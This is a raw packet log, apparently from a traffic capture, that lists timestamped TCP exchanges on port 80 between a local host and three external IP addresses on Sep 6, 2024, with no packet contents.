Sep 6, 2024 08:17:06.286945105 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286983967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.286993980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287036896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287044048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287060976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287074089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287081957 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287092924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287106037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287131071 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287147045 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287154913 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287184954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287187099 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287197113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287223101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287235022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287333012 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287349939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287364006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287375927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287389040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287389994 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287399054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287400007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287415981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287427902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287432909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287442923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287456036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287461042 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287467957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287478924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287482977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287518978 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287667990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287714958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287724018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287740946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287755013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287759066 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287781954 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287789106 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287800074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287811041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287846088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287878036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287888050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287923098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.287954092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.287997007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288022041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288033962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288063049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288075924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288156033 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288167000 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288177967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288188934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288201094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288203955 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288229942 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288244009 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288315058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288357019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288367033 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288383961 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288394928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288407087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288434982 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288441896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288446903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288461924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288469076 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288472891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288491011 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288511992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288580894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288667917 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288675070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288702011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288710117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288744926 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288744926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288784027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288793087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288825989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288861990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288872957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288882971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288897991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288911104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288914919 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288921118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288932085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288932085 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288942099 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288949013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288954973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288973093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.288979053 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288984060 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.288989067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289001942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289009094 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289011955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289033890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289068937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289089918 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289100885 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289110899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289122105 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289130926 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289133072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289155006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289166927 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289170980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289180040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289181948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289194107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289205074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289208889 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289216995 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289237022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289261103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.289282084 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.289457083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.295624018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295671940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.295672894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295690060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295727968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.295727968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.295753002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295763969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295774937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295784950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.295800924 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.295829058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307475090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307486057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307496071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307507038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307518005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307529926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307550907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307566881 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307579041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307589054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307614088 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307713985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307737112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307749033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307775974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307794094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307807922 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307811975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307823896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307836056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.307836056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307847977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.307872057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.321903944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321914911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321930885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321940899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321953058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321963072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.321974993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.322015047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.322029114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.322038889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.322061062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.322087049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.326335907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326353073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326364994 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326384068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326385021 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.326395988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326406002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326406956 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.326416016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326426029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.326436043 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.326471090 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333108902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333118916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333127975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333159924 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333163977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333177090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333183050 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333189011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333200932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333229065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333229065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333240032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333257914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333268881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333293915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333316088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333321095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333331108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333345890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333357096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333358049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333367109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333376884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333393097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333420038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333425045 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333431959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333442926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333456039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333462000 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333471060 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333494902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333508015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333518982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333553076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333565950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333569050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333580971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333590031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333606005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333616018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.333622932 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333632946 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333663940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.333699942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333709002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333718061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333731890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333739996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333743095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333759069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333761930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333771944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333781958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333781958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333795071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333800077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333806038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333826065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333831072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333853960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333878994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333889008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333894968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333914995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333940029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.333962917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333975077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333983898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.333995104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334007025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334034920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334058046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334100962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334136009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334177017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334177971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334189892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334225893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334225893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334243059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334254026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334263086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334275961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334283113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334311962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334345102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334462881 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334472895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334484100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334494114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334506035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334507942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334518909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334532976 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334552050 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334604025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334616899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334626913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334639072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334649086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334649086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334659100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334661007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334673882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334685087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334691048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334696054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334734917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334747076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334758043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334768057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.334773064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334783077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.334804058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.335347891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335359097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335367918 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335397959 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335405111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335407972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335422039 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335433960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335443974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335454941 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335458040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335484028 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335500002 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335573912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335586071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335596085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335611105 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335612059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335623026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335633993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335640907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335645914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335654974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.335660934 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.335689068 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.337995052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.338006973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.338028908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.338043928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.338047028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.338068962 CEST	49734	80	192.168.2.4	176.113.115.33
